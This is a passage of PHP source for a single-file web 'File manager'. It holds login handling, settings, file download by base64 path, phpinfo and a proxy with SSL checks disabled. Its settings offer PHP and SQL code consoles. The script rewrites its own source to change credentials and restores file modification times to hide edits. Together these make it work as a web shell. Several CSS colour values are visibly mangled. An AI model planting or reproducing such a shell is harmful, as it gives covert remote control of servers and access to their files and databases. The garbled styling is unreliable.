<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
